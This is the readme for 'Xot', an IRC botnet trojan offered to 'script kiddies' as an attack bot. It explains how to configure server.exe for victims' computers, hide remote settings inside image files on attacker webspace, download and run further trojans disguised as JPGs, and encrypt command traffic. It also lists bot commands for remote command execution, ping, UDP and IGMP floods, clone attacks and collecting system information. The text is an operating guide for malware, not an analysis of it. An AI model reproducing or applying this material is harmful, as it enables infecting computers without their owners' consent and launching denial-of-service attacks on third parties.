Well here it is, my first open beta version of my irc bot Xot. This bot has a ton of goodies for you script kiddies to play with. But let me warn you Xot is not a friendly channel bot. Xot is an attack bot and can possibly cause alot of damage if one choosed to do so. So basically im not to blame if you successfully take down yahoo.com somehow. Xot has a main feature which i call DRSS (Dynamic Remote Settings Stub). DRSS is basically important bot settings that are appending at the end of any file you wish to append it to like a .JPG file or a .GIF file. This file that has the settings is then uploaded to a webspace you specify on EditServer and when the server.exe file gets executed on the victem's computer, Xot downloads the settings file periodically at a set interval (interval also specified in EditServer) and Xot syncs the settings in. The major benefits of this feature is that you can change the Irc Server or Channel which your bots idle on Very easyly. The DRSS file is configured in the format of ircd.conf (if you're not familiar with ircd.conf it uses different letter lines like O:lines) when you enter the DRSS file maker program once you type the letter of line you want it will show the parameters to that line. Configuration Lines: O-lines: O-lines are the lines that add the userinfo on users that use your bot. You can have multiple Olines and all parameters for the O-line except for password are allowed to use wildcards. Format: O:::: Example: O:*.home.com:S*X:Xen*:mindrapist I-lines: I-lines are the lines that add the botinfo for the irc server that the bot uses, nickname username realname... Format: I:::::: Example: I:@:XenBot:Xenny:W3 0wn j00:[email protected]:Xot S-lines: S-lines specify the server, server port and password that the bots will idle on. If there is no password leave the 3nd parameter blank but keep the colon.. (for parsing reasons) Format: S::: Example: S:irc.lcirc.net:6667: C-lines: C-lines specify the channel and channel key the bot uses when it connects to the IRC server. if there is no key leave the 2nd parameter blank but keep the colon.. (for parsing reasons) Format: C:: Example: C:#mindrape:DrUgScArE E-lines: Heres a nifty little feature that Overlord 45 gave me the idea for. Why not add Client to bot encryption to keep those bot stealers and spyers away? This line gives the bot encryption of for communication. the E-line specifys the Encryption key and the name of the dll file on your webspace which has the Encryption routines. (I included a DLL and mIRC script in the project for this feature). Thanks to Overlord 45 for this idea. thanks to say-tan and Quension and the rest of the RCforge crew for the encryption resources and thanks to Sarin for the script modifications. The first parameter is your encryption key and the second parameter is the name of the dll (submitted in this package) that is in the SAME directory as your DRSS file. Format: E:: Example: E:MyPersonalKey:Xot.dll N-lines: N-lines give you the chance to submit a nicklist on you're webspace for the bot to download and use to randomly pick Nickname and Ident. the file data must have nicknames separated with a comma.. No Line Breaks! ... also there is no need to add numbers at the end of nick names in the nick list because when the bot randomly chooses a nickname it tacks on a random 2 digit number at the end. The First and only parameter is the name of the nicklist on the SAME webspace directory as your DRSS file. (a sample nicklist has been given in the package) Format: N: Example: N:nicklist.txt U-lines: U-lines give you the chance to upload and run an program unto your bots. This feature is good Updating your bots or just adding a new trojan onto the computer. The first parameter is the URL of the file (you can give it any name any extension) the second parameter is what you want the file to be renamed to on download. (some webspace providers dont accept EXE files so this feature is for that reason.. give the exe file a JPG extension and the second parameter changes it back on download) and the third parameter is 1 or 0, 1 being run on download and 0 begin no run on download... WARNING: make sure the file doesn't melt on execution other wise the bot will keep downloading it Format: U:::<1 or 0> Example: U:my.server.here/server.jpg:server.exe:1 D-lines: D-lines takes startup info out and shutsdown the bot. PASSWORD is password on Server.exe for EditServer.exe IRC Bot commands: (i'm using "!" as an example prefix) !say - makes the bot say something !op - makes the bot op someone !deop - makes the bot deop someone !ban - makes the bot ban someone !unban - makes the bot unban someone !voice - makes the bot voice someone !devoice - makes the bot devoice someone !notice - makes the bot send a notice !action - makes the bot do an action !ctcp - makes the bot ctcp someone !nick - makes the bot change its nickname !raw - makes the bot do a RAW irc command !id - makes the bot display its tag !sync - makes the bot resync its DRSS file !login - logs into the bot !exec - executes a commandline !ping - ICMP attack !udp - UDP attack !igmp - IGMP attack !clone <# of clones> - clone attack !cloneraw - send a raw IRC command to the clones !clonekill - kills all clones !info - gives computer info of the computer that the bot is on !botinfo - gives bot version and such Encryption - This package comes with an mIRC script and a DLL for the encryption routines.. if you want your bot to communicate encrypted add your E:line with the first parameter as the key and the second parameter as the name of the dll file... Xot.dll ... then upload the dll file and upload the new DRSS settings. then in your mIRC client put Xot.ini and Xot.dll in your mIRC folder and do this in mIRC status... : /load -rs Xot.ini then get on your channel and right click the channel window and there should be a Xot submenu.. same thing with querys. NOTE: XOT.INI ONLY WORKS WITH mIRC 5.9+ Editserver.exe - this is where we configure the SERVER.exe file to reconize the webspace of which the DRSS file is in. File Location - the exact website url for your DRSS file Interval in Min - the interval between DRSS updates Password - password to read EditServer settings ID tag - add your own little tag to know whos bots they are. or whatever you want in there. No Read - this just means if on read sho
Backdoor.Xot